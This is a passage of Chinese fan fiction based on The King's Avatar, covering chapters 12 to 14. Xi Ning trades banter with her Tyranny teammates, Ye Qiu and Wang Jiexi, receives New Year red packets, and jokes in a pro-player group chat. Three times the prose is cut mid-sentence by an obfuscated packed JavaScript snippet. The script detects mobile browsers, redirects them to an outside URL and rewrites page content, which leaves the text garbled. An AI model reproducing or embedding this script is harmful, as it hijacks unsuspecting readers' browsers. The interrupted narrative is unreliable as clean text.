息宁立刻小鸡啄米般点头,姿态放得极低,恨不得当场给这位靠谱的前辈深鞠一躬,再当场给他磕一个。 然而,微草队长的善解人意,并不能平息霸图队长的怒气。 微草的“王”再好说话,也管不到霸图的“皇帝”头上。 韩文清全程一言不发,显然是顾忌着外人在场,给自家孩子留了几分面子。直到微草一行人告辞离开,他才转回目光,落在缩着脖子的息宁身上,沉声颁布“圣旨”:“回去加训。” 想到马上就要到来的期末考试,息宁绝望地看向张新杰。 无论如何,一个小姑娘独自在外喝成这样,终归太过危险,这份后怕与警示,必须让她深刻记住。 张新杰推了推眼镜,无视她地祈求,平静地补充道:“加训前,先写2000字书面检讨。把事情的经过,对错误的认知,以及今后的保证,写清楚。” 虽然那天的“事故”也传进了几位八卦的职业选手耳中,但不知张新杰事后是如何与王杰希沟通的,而王杰希回到微草后,又是以何种方式规训了当晚在场的刘小别等人,那点小小的风波很快便彻底平息,再无人公开提起或调侃。 息宁再一次在心里感慨微草队长的靠谱与威严,并默默决定,以后要更加坚决地拥护王队对微草的统治权。 只是,道理都懂,程序已走完,处罚也领了。 心里那点名为“尴尬”的小苗,却像有了自己的生命,总在不经意间悄悄冒头,挠一下她的心尖。 反复提醒她,自己曾如何“以下犯上”。 比如今天,当她和叶秋蹲在神之领域的某个隐蔽角落,准备伺机给中草堂的BOSS争夺战添点乱时,屏幕上,中草堂阵营里那几个骑着扫把,灵活穿梭的魔道学者身影格外醒目,尤其是其中某个操作犀利、走位风骚的小号,息宁几乎能从那风骚的弧线里看出微草队长的影子…… 一股莫名的尴尬感,又悄然滋生。 叶秋却不太理解,甚至觉得自家徒弟这突如其来的道德感,有辱师门“风骨”。 他恨铁不成钢的吐槽:“你这状态可不行啊。咱们这是来偷……咳,是来‘战略性观摩并适时介入资源分配’的,不是来瞻仰微草环卫工人扫地英姿的。你这瞻前顾后的,让为师很失望啊。咱们师门什么时候出过脸皮这么薄的?” “小宁啊,网上不都说了,醉酒从来不是耍流氓的借口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一辈子很快,而荣耀里的每一个机会,都是即时性的,错过了,就真没了。 今天,她就顺利把握住了机会。 一番激烈的混战与精准的“捡漏”后,师徒二人带领着临时凑起来的野号小队功成身退,迅速转移到安全区域,然后开始了愉快的“分赃”环节。 息宁正试图靠自己的“厚脸皮”与诡辩,为霸图再多抠几样稀有材料,跟叶秋在私聊频道里讨价还价的不亦乐乎。 屏幕右下角,一个意想不到的聊天窗口弹了出来。 来自王杰希,言简意赅,仿佛洞悉一切:“刚才是你和叶秋吧。” “啊?王队,您在说什么?”息宁心头一跳,手指却已本能地敲出回复,“我一直在……专心训练呢。” 在装瞎和装傻之间,她熟练地选择了后者。 王杰希直接戳破了她这毫无技术含量的谎言:“训练还秒回?” 息宁:“……” 大意了!忘记装傻也要符合基本法了! “上周中草堂抢到了BOSS撤退,偷偷溜过来杀了我们公会会长的,是你和黄少天吧。” “事后,中草堂内部悬赏那两个小号,匿名提供剑客坐标的,也是你吧。” 很好,竟然全部都是陈述句。 一条条“罪证”被平静地罗列出来,像审讯记录般清晰。 息宁看得头皮发麻,立刻光速滑跪,并试图将“敌人”转化为“盟友”:“王队,荣耀中没有永远的敌人,只有永恒的利益。过去的事就让它过去吧!不如我们展望一下未来!下次有机会,咱们两家合作?抢嘉王朝或者蓝溪阁的BOSS?我深入敌营,提供情报,您负责调度,五五分成!” 王杰希的回复不紧不慢,却带着一击必杀的冷酷:“已截图,发给叶秋和黄少天了。” 最后是一个“微笑”的表情。 “啊!王队!!”息宁瞬间哀嚎,仿佛看到了自己同时被师父和话痨剑客追杀的未来,“你为什么要这么对我!你不满意,我们可以再谈谈分成比例!四六!三七也行啊!!” 然而,她小心翼翼地打探了一圈,风平浪静,无事发生。 她终于咬牙切齿的确认:王杰希骗人! 他根本就没截图!更没发给叶秋和黄少天! 13.第 13 章 息宁最近也确实没时间在网游里继续那些“合纵连横”的算计了。 因为期末考试周,已经近在眼前。 训练之余,息宁必须挤出所有精力来复习备考。虽说打职业已有稳定收入,算是“带薪上学”,但那笔奖学金,穷惯了的她,实在割舍不下。 这不是普普通通的五千块,是代表了一名大学生尊严与荣誉的五千块! 霸图的队友们私下还开了个小小的赌局,赌她今年能不能“鱼与熊掌兼得”:一边打好比赛,一边拿下奖学金。 息宁倒不在乎队友的输赢,只是她自己也悄悄压了100块,赌“能”。 何况,她还肩负着“拯救”全宿舍的重任,三位舍友正眼巴巴地等着她整理的考前重点“续命”。 其实她很想质问舍友:你们天天去上课,怎么还能一问三不知? 课是一节没落,话是一句没听,题是一道不会,到头来竟要指望她这个因训练和比赛而时常请假的人。 然而,舍友们早已深谙“投喂之道”,用奶茶和各色零食,成功地堵住了她的嘴。 她们甚至理直气壮地甩锅:“我们都是因为支持霸图,给你线上加油,线下应援,才‘战略性’地荒废了学业!你得负全责!” “对!粉丝行为偶像买单!” 考试周压力如山,但日常训练同样不能懈怠。 于是,每天训练间隙,哪怕在食堂扒饭,息宁都要争分夺秒摸出课本背背概念和公式。 没几天,连路过的白言飞如今都能一眼认出她手边那几本“砖头”:哪本是《材料力学》,哪本是《结构力学》,哪本又是《工程测量》…… 他顺便还要感慨一波:“幸亏我早早辍学打职业了,要不然,不然万一运气爆棚,蒙对太多,考上大学了,还得学这些东西,一定生不如死。” 吃“电竞”这口饭的人,基本都吃不上“学习”那口饭。 因此,息宁这种在职业战队训练室里埋头苦读“天书”的景象,总能引来围观和啧啧称奇。 众人围观息宁复习,忍不住开始回忆各自昔日的“光辉战绩”。 几个学渣更是攀比起来,起初比谁考得分数低,后来比谁作弊手段高超却依然不及格。 白言飞听完一圈,感慨道:“像小宁这样的好学生,肯定没干过作弊这种事吧!” 息宁莫名觉得自己被排除在了这场“荣誉比拼”之外,立刻不服气地狡辩:“谁说没有?我次次都作弊,而且从来没被逮到过!” 大家不信:“不能吧?你竟然作弊?靠作弊拿奖学金吗?” “没错!我都是提前把小抄的内容背下来,再用脑子带进考场。”息宁一脸理直气壮,“所以,从来没失手过。” “……那TM叫复习!!!”众人异口同声。 息宁被吼得缩了缩脖子,却仍小声坚持着自己的逻辑:“把知识背进脑子里,偷偷带进考场,再‘抄’到卷子上……这怎么就不算作弊了?” 在一片无语的沉默中,郑乘风总结道:“……之前黄少天在群里抱怨,说小宁能一句话把他噎到沉默,我还以为是黄少天胡说八道的。现在看,这胡扯能力,全联盟怕是找不出第二个。” 息宁闻言,用一种“你太天真”的语气,摇头反驳:“郑哥,你大概忘了,我还有个师父。” “……我以为叶神教你的是荣耀技术。” “学艺先学德。” 白言飞感慨:“啧……难怪你小小年纪,就这么‘缺德’。” 总算熬过了焦头烂额的期末考试周,还没来得及喘口气,联赛的节奏便已接踵而至。 紧接着在对阵虚空的比赛里,息宁顶住压力,在个人赛中漂亮地赢下了虚空副队长吴羽策,为霸图拿下开门红。 赛后,有媒体点评她进步神速,打法日益成熟,已成功突破了所谓的“新秀墙”。评论甚至指出,若不是她为了兼顾学业,出场次数不多,加上同期有孙翔这样锋芒毕露的超新星,放在其他赛季,她绝对是“最佳新人”的有力竞争者。 息宁笑而不语,其实只是她突然领悟了打阵鬼的诀窍而已,毕竟比赛前两天,苏沐橙这位联盟里公认的“双鬼克星”,在竞技场里针对性的特训了她好久。 这是春节前的最后一场,霸图战队即将迎来短暂的春节假期。 虽然只有短短七天,但对于一整年都处于高强度训练和比赛节奏中的职业选手来说,这已是弥足珍贵的喘息和团聚时光。 息宁早早开始盘算着回家要让奶奶做什么好吃的,睡多久懒觉,以及……要不要偷偷上游戏跟师父叶秋去“慰问”一下过节期间防守可能松懈的各大战队公会。 然而,就在春节假期前的最后一天,经理突然临时召集全队开会。 息宁当时正“潜伏”在霸图技术部,自从上次全明星周末因KTV醉酒闹出风波后,她就安分了许多,不再明目张胆地琢磨那些来钱快的“外快”,转而“脚踏实地”地来技术部“偷师”。 用她的话说:知识就是财富,偷师就是赚钱。 收到开会通知时,息宁正和技术部的前辈们研究屏幕上的数据模型,讨论“息事宁人”银武下一阶段的提升方案。 技术部的几位对她这位能聊技术细节,除了提出要求,还能商讨具体方案的队员实在满意。 毕竟职业选手里懂这些的不多,肯花时间泡在这儿钻研的就更少了,还是个小姑娘,更是难能可贵。 桌上堆着她这段时间的“战利品”:桌上堆着她这段时间的“战利品”:琳琅满目的薯片、巧克力、牛肉干,全是技术部前辈们的零食投喂,足以证明她在此地如鱼得水般的受欢迎程度。 她她正聊到兴头上,思路被打断,实在懒得挪窝,便试探着问了一句:“经理,我在技术部呢!手头有个关键数据正在验证……能申请线上参会吗?” 经理的回复斩钉截铁,带着不容置疑的权威:“重大事项,必须全员到齐!就算你晚到,我们也会全体等你的。” 等息宁赶到会议室时,气氛格外微妙,理看向她的眼神不仅没有丝毫对她迟到的不满,反而堆满了“诡异”的灿烂笑容,甚至……带着几分热切的“谄媚”。 咋回事? 难道经理想不开,打算重启他那“CP百草枯”的宏图大业了? 霸图经理清了清嗓子,努力让自己的声音听起来格外“民主”:“除了统一的战队拜年视频,官博还需要一条单独的、更活泼、更有年味儿的祝福短视频。内容形式可以活泼点,比如跳个流行的手势舞什么的。当然也不想为难大家,推选出一位即可。咱们队里……有没有谁自愿承担一下这个光荣的任务?” 话音刚落,会议室里陷入了某种意味深长的寂静。 然后,几乎是同时,所有人的目光,包括韩文清,都“唰”地一下,无比整齐,无比自然地投向了刚刚在角落坐定的息宁。 息宁:“……?” 她眨了眨眼,从左到右扫视了一圈。每一道视线都写满了不言而喻的共识:“就是你”、“别看了就是你”、“这任务简直是为你量身定做的”。 难怪!难怪非得叫自己来开会! 这拍摄任务……这阵仗……怎么越看越像个等着她这只“萝卜”跳进去的“萝卜坑”呢? 内心警铃大作,她大脑开始飞速运转,试图编造出一个合情合理的拒绝理由:最近手腕有点不舒服?叶门祖训:对镜头过敏,一上镜就会死?先天肢体不协调晚期患者? 息宁还在绞尽脑汁想借口,一旁的张新杰突然开口:“补充一下:此次主动配合拍摄,穿指定服装完成舞蹈者,战队奖励2000元。” “拍拍拍!” 张新杰话音刚落,息宁“噌”地站了起来,动作快得带起一阵风,脸上那点挣扎与“宁死不从”消失得无影无踪,取而代之的是无比灿烂、无比真诚的笑容。 “经理!这个光荣而艰巨的任务就交给我吧!咱们战队就我一个女孩,年纪又小,舍我其谁啊!总不能为难韩队、副队还有各位前辈吧?我保证完成任务!现在就能拍!需要换什么衣服?舞蹈有教程吗?没事我学得快!保证跳得喜庆洋洋,让霸图的祝福冲出联盟,走向全网!” 张新杰推一推眼镜,深藏功与名。 于是,大年三十当天,霸图官博准时发布了贺岁视频。 除了常规的集体祝福视频,另一条便是息宁倾情出演的手势舞。 画面里,息宁穿着一身红色短款旗袍,特意扎了一个俏皮的丸子头,笑容甜得能淌出蜜来,正一板一眼,格外认真地跳着“祝福大家顺风顺水顺财神”的手势舞。 2000块钱的威力实在不小,息宁笑得真心实意,跳得全力以赴,整条视频洋溢着一种发自内心的喜悦。 这让一贯走硬汉风的霸图粉丝都愣了一瞬,评论区迅速热闹起来。 息宁的粉丝火速抵达:“女鹅好甜!可爱暴击!母爱要变质了!” “甜妹!是甜妹!旗袍丸子头甜妹杀我!妈妈我恋爱了!” “我们霸图竟然也有甜妹了!!!这笑容太治愈了吧!” 当然也有早年在网上和息宁对骂过的“霸图老粉”晒出她当年在贴吧“大杀四方”的截图。 “甜妹皮下是战神,醒醒吧!宁妹子不是糖,是裹着糖衣的砒霜!” “宁妹你要是被绑架了,你就眨眨眼!” “宁妹,你是不是偷偷“砂仁”被霸图经理看见了?” “霸图手里到底有息宁什么把柄啊?!” “我看息宁也是乐在其中啊!” “我不管你是谁赶紧从息宁身上下来!我还是喜欢息宁嘲讽拉满的样子!” “算了,原谅你以前为了叶秋那个老贼喷我了。看看整个荣耀联盟,也就你肯花心思逗朕开心了。朕与宁宁,何时有过嫌隙啊?” 当然也有变态一点儿的评论。 “就爱甜妹骂人这一口!妹妹请边跳边骂我!” “万人血书求韩队也拍一个同款!不穿旗袍也行!!(穿了更好!!)” “韩队拍的话,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979406|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们张副队也要!旗袍眼镜娘!霸图请速速安排!” 息宁完全没空理会那热闹非凡的评论区,视频一发,第一时间就兴奋地在战队群里炫耀:“副队真的说话算数!嘿嘿,银行卡上真多了2000!” 白言飞看着孩子傻乐的模样,没忍住,暗戳戳提醒一句:“那个……小宁啊,你知道霸图每年春节都给选手发2000过节费吗?” 息宁脸上的笑容瞬间凝固:“啊?” 郑乘风马上@白言飞:“白啊,知不知道有句话叫‘人死于话多’!难得小宁这么开心,让她的快乐多持续一会儿不好吗?” 周光义也冒了出来,语气里满是“看热闹不嫌事大”的惋惜:“言飞你……你亲手毁掉了一个孩子单纯的快乐啊!罪孽深重!” 于天补上了最后一刀:“谎言不会伤人,真相才是快刀。小宁哭吧哭吧不是罪!” 息宁握着手机的手微微颤抖:“啊???” 所以……根本就没有什么额外的“任务奖励”? 那2000块,也不是“劳动所得”,而是她本来就该拿的过节费?! 副队只是换了个“任务奖金”的名头,就“骗”得她心甘情愿,兴高采烈地去跳了那支傻乎乎的手势舞?! 被欺骗了!被套路了! 巨大的“悲愤”瞬间淹没了她。 几秒钟后,霸图战队微信群被息宁的消息疯狂刷屏,她一连发了十几条表情包和控诉文字,字字泣血,充分表达了她从天堂跌落地狱的崩溃心情,强烈谴责自家副队“心脏”、“套路深”、“欺负新人”、“连老实人都骗”、“良心不会痛吗”、“伤害了孩子幼小的心灵”、“心理委员呢!我不得劲!我需要紧急心理疏导!!!”…… 当然,这场“声讨”来得快去得也快。 因为息宁的手机屏幕上弹出一条新的转账通知,来自谴责对象张新杰。 金额:6666元。 整整齐齐,一个颇为吉利的数字。 息宁的刷屏戛然而止。 她盯着那个数字,眨了眨眼,怀疑自己是不是气花了眼,仔细再数一遍,没错,是四个6。 她小心翼翼地敲字确认:“……副队,这个……我真的可以收吗?” 张新杰的回复简洁依旧:“可以。新年快乐。” 息宁心脏砰砰跳,又追问了一句:“是全霸图……只有我有吗?” 张新杰:“是。” “被骗”的委屈和悲愤瞬间烟消云散,化作了对张新杰如滔滔江水般的敬仰和感激。 “副队!您真是我见过最大方、最睿智、最体贴队员的好副队!霸图有您,何其有幸!我刚才那些话都是胡言乱语!您千万别往心里去!您在我心里永远是光辉伟岸、算无遗策、关爱队员的楷模!祝副队新年快乐!新的一年带领霸图横扫联盟,冠军拿到手软!您本人也身体健康,万事如意,财源广进!” 一通赞美后,她火速截图,发微博炫耀:“人生第一次收到这么大红包!果然,我才是副队最宠爱的崽!新年快乐,祝大家也财源广进,红包多到拿不下~” 配图正是张新杰6666元的转账截图。 息宁正美滋滋地欣赏评论区里的羡慕嫉妒,手机“叮”一声,又弹出一条转账通知:金额6666元,转账人韩文清。 几乎同时,战队群里跳出一条@她的消息,来自平时极少在群里发言的韩队,言简意赅:“新年快乐 @息宁” 息宁瞬间顿悟。 她眼疾手快,把刚才那段赞美张新杰的小作文复制下来,指尖飞舞,删删改改,最关键的是把“副队”全部替换成“队长”,并酌情增加了“威严如山”、“定海神针”等更符合韩队气质的词汇。 检查完毕,发送。 确保对两位领导雨露均沾,夸得各有侧重,绝不厚此薄彼。 紧接着,她再次登上微博,如法炮制,又发一条:“队长也太好了吧!!!新年快乐!新的一年在队长的带领下霸图一定战无不胜!再次祝大家新年快乐!(附图:来自韩队的6666元转账记录)” 一套操作行云流水,充分展现了山东籍晚辈在“端水”和“巴结领导”这件事上浑然天成的天赋与觉悟。 当然,息宁也不是那种只进不出的貔貅,毕竟大过年的,图个吉利,一年也就这么一次。 她先给全世界最美丽、最善良的职业选手苏沐橙发了个888的红包,祝她新年顺遂。 然后盯着叶秋的聊天窗口,做了足足三分钟的心理建设,才终于心一横、眼一闭,忍痛发了666的红包,发完还下意识地捂了下心口,仿佛听见了钱从钱包溜走的声音。 收到红包的两人,反应出奇地一致。 苏沐橙几乎是秒回,附带一个惊讶的表情:“ ???小宁?号被盗了?” 叶秋:“???太阳从西边出来了?天上下人民币了?你彩票中奖了?还是你偷霸图核心机密去买了?这是拉师父下水的分赃?” 口碑这一块,人设这一块…… 14.第 14 章 本以为红包一事已经宣告大结局了,结果聒噪的黄少天又冒了出来,消息刷得飞快:“小宁小宁小宁!你为什么只给老叶发红包不给我发啊?这不公平!明明我们关系也很好啊!咱们一起抢中草堂BOSS的革命友谊呢?!” “你怎么知道我给师父发红包了?” “老叶跟我显摆的啊!”黄少天秒回,字里行间都透着不满,“他特意截图给我看了!” 息宁心里默默吐槽:他怎么什么都跟你说……你俩这关系,多少有点暧昧了啊黄少!我都有点磕了你俩了! 当然这话她不敢轻易说出口,毕竟网络上“剑与诅咒”才是官配大势,异教徒发言容易被“绞杀”。 关于红包,她随便找了个借口:“我们关系好吗?难道你忘了?前一阵为了你女神的线下见面会,放我鸽子的事。” 黄少天的女神,是某位正当红的女爱豆。 某天叶秋不在线,息宁在网游闲逛了一会儿,各个小号打探了一下各家公会的情况,盛情邀请黄少天一起去抢嘉王朝的BOSS,结果黄少天原本答应的好好的,后面为了追星放了她的鸽子。 黄少天闻言果然理亏了一秒,立刻开始狡辩:“这事不能说明什么!不能这么算啊!那可是我女神!集美丽善良智慧于一身!是光!是电!是唯一的神话!” “我不美丽吗?” “我不善良吗?” “我不智慧吗?” 息宁直接打断他的真情告白,灵魂三连问,并晓之以情动之以理的摆事实:“你难道忘记了!你小号偷袭了中草堂会长,第二天被中草堂众人围攻,是谁二话不说冲进去跟你并肩作战,杀出一条血路的?” “明明是咱俩一块偷袭的,而且这只能说明你善良!”黄少天负隅顽抗,“但比起我女神,你还缺少了那么一点点……智慧!” “哦?”息宁慢悠悠地敲字,“那你猜,当时那群人是怎么那么‘巧’,提前知道你的坐标,设好埋伏的?” 黄少天沉默了。 聊天框上方,“对方正在输入……”的提示闪现了好几次,最后憋出一句:“好!很好!你不愧是老叶教出来的徒弟!一脉相承的心脏!” “黄少我错了!”息宁立刻滑跪,并熟练地开出价码,“上次出卖你的报酬,我分你一半!” “我不要!” “好的!”息宁从善如流,“我就知道黄少大气,肯定不会要这种‘脏钱’的。所以我今天特别懂事,没给你发红包,这种钱,当然配不上你,配不上光风霁月的剑圣大人,只配留给我师父那种心脏的老妖怪。” 黄少天:“……” 息宁那条喜庆又甜度超标的拜年手势舞视频,不出意外地在职业选手的内部大群里掀起了不小的波澜。 联盟本就男选手占绝大多数,女选手凤毛麟角,人气高的无非那么几位。 苏沐橙是公认的“联盟第一美女”,但女神光环过盛,又有叶秋这尊大神,作为最佳搭档形影不离,难免让人有距离感,感觉高不可攀。 而楚云秀身为烟雨战队队长,联盟唯一一位女队长,“楚女王”的气场也让不少人望而却步、不敢造次。 有时候,某些人的“口嗨”也带着点欺软怕硬,看人下菜碟的微妙心态。 息宁作为刚入联盟不久的新人,赛场上的表现虽稳扎稳打,但尚未有惊世骇俗的“封神”操作,外形又是甜美可爱的萌妹类型,虽然最初爆出来一些“犀利言论”,但是这半年来一直都是乖巧新人的模样…… 如此种种,落在一些人眼里,似乎就成了可以稍微“冒犯”一下的对象。 起初的讨论还算正常,夸息宁可爱,调侃霸图画风突变,但聊着聊着,个别几个ID的发言就开始有些变味,掺杂了些许不尊重与轻浮。 如果这是在贴吧或者网游论坛,以息宁的“战斗力”,早就一套逻辑缜密、言辞犀利的组合拳怼回去了,保证让对方哑口无言,甚至怀疑人生。 但这里是职业选手群,都是圈内人,甚至可能是未来的队友。 作为一个初来乍到的新人,息宁也不想大过年的在群里掀起一场骂战,和别人对喷。 更何况,上次KTV醉酒搞事后,霸图内部给她开了好几场“专人专项”的批斗会,至今回想起来仍心有余悸。 霸图运营小姐姐放假前更是面带核善笑容,警告大家:“除非霸图基地爆炸,否则假期谁都别来烦我!当然,万一真的爆炸了,可以告诉我一声,我远程鼓个掌。” 打工人的怨气实在是比鬼还重! 息宁毫不怀疑,如果自己此刻在群里开喷,万一外传,引发舆论,导致运营小姐姐假期加班,回来后面临的将不仅仅是批斗会,可能是直接“物理超度”。 息宁默默记下那几个ID,吸了口气,又缓缓吐出,心里反复默念着那套自我规训的真言:“大过年的、息事宁人、来日方长。” 但是不是每个人都有她这种“以和为贵”的好脾气。 一叶之秋:“很热闹嘛。” 简单的四个字,加上那个一叶之秋这个代表着一个时代的大神ID,让原本聊的开心的群,瞬间安静。 一叶之秋:“大家这么喜欢小宁,作为师父,我真的很开心。” 他的发言乍看起来甚至挺“温和”,但是明眼人都看得出来,这分明是叶神看到有人对自己徒弟出言不逊,特意亲自下场,发言维护。 “不过,我们师门有祖训:必须荣耀PK赢了师父才能追求徒弟。刚才聊的很开心的那几位,现在,可以报名了。” 见没人应声,叶秋又从容地补了一句:“车轮战,我也不介意。” 群里依旧是一片微妙的死寂。 就在这片令人窒息的安静中,一个唯恐天下不乱的家伙,顶着聒噪的ID跳了出来。 夜雨声烦:“哦?可以和你PK吗?那我报名!老叶你说话算话啊!给我房间号!今天非得让你看看本剑圣的厉害!PKPKPKPKPK!” 黄少天显然自动忽略了“追求息宁”这个前提,眼里只剩下“可以名正言顺约战叶秋”这个天大的诱惑。 息事宁人:“作为当事人,我要行使一票否决权,不用PK了,直接淘汰黄少!” 亏本买卖她可不干! 平时黄少天想约叶秋PK,息宁还能靠从中牵线搭桥捞点“中介费”,这“祖训”一出,岂不是让黄少天卡上BUG了?他可以假借“追求”之名,行和她师父在竞技场“缠缠绵绵”之实! 这岂不是赔了师父,又亏钱! 黄少天显然不能接受,问号与感叹号齐飞:“为什么???!!!” 息事宁人:“你现在说的每句话,都是对你女神的背叛。” “何况,我怕你在挑战的路上,爱上我师父。”息宁慢悠悠地敲字,抛出一记绝杀:“我实在不想成为你俩play中的一环。” 楚云秀忍不住冒泡:“小宁你竟然磕黄叶,真是厕品!喻黄才是官配,懂?” 息宁立刻严肃纠正,捍卫自家产品:“不,我磕叶黄!” 夜雨声烦:“……你们够了!” 叶秋没有理会他们的插科打诨,话题又轻飘飘地转了回去,语气里带着点遗憾:“没人报名吗?看来小宁你的魅力,不太行啊。” “刚才说的欢的那几个人呢?怎么不说话了?” 大漠孤烟言简意赅地给出了处置结果:“我禁言了。” 作为群里权限最高的管理员之一,韩文清动手向来干净利落,刚才看他们的发言直接给了禁言套餐。 楚云秀立刻点赞:“韩队干得好!” 叶秋颇为遗憾:“老韩还是一如既往的调皮啊,你这是在影响我们小宁的桃花运啊。” 众人一阵无语。能把“韩文清”和“调皮”这两个词放在一个句子里的,全联盟恐怕也只有叶秋了。 一枪穿云突然发了一张乖巧举手的表情包:“前辈,我报名。” 虽然很想回一句周泽楷你凑什么热闹,但作为一名神枪手玩家,“跟周泽楷PK”这个诱惑实在太大。周泽楷又不像黄少天一样热情好客,随叫随到,平时哪有这种好机会?上次和周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她暂停了准备,切到私聊问周泽楷:“观战席那个魔道,谁?” “王队。” 哦,是王杰希。 大过年的,王杰希不好好休息或者跟家人团圆,默不作声的跑来看她和周泽楷PK?这画风也太诡异了。 息宁疑惑:“他为什么在这里?” 周泽楷:“我给的。” 这是说他给的房间号? 息宁更加疑惑:“你为什么给他房间号?” 周泽楷:“他要的。” 息宁锲而不舍,有种在“挤牙膏”的错觉:“他为什么问你要房间号?也想找你PK?” 周泽楷:“不知道。” 很好! 这何尝不是一种“句句有回应”呢? 指望不上周泽楷,息宁决定亲自上阵:“王队,您也想参加‘PK叶秋挑战赛’的吗?很遗憾通知您,这个活动已经结束了哦。” 几秒后,魔道学者的身影动了动,对话框里跳出一行字:“不是,我来参加‘一票保送’活动。” 息宁愣了一下,迅速完成了脑内同步翻译:原来是来找我PK的。 息宁从善如流,回复迅速且“职业”,还顺手借用了现实理由:“非常抱歉地通知您,这个活动,也结束了呢,主办方饿了,准备下线吃饺子了。” 王杰希没有再回话。 只是过了两秒,那个悬浮的魔道学者身影轻轻一晃,便利落地从观战席上消失了。 聊天框里,最后只留下他退场前的四个字:“新年快乐。” 来得突然,走得干脆。 息宁看着空荡荡的观战席,小声嘀咕了一句:“他这到底是来干嘛的啊?” 周泽楷默默开口:“不知道。” 息宁无奈调转视角,语气中充满了无力感:“周队,我刚刚只是自言自语,你倒也不必如此……有问必答。”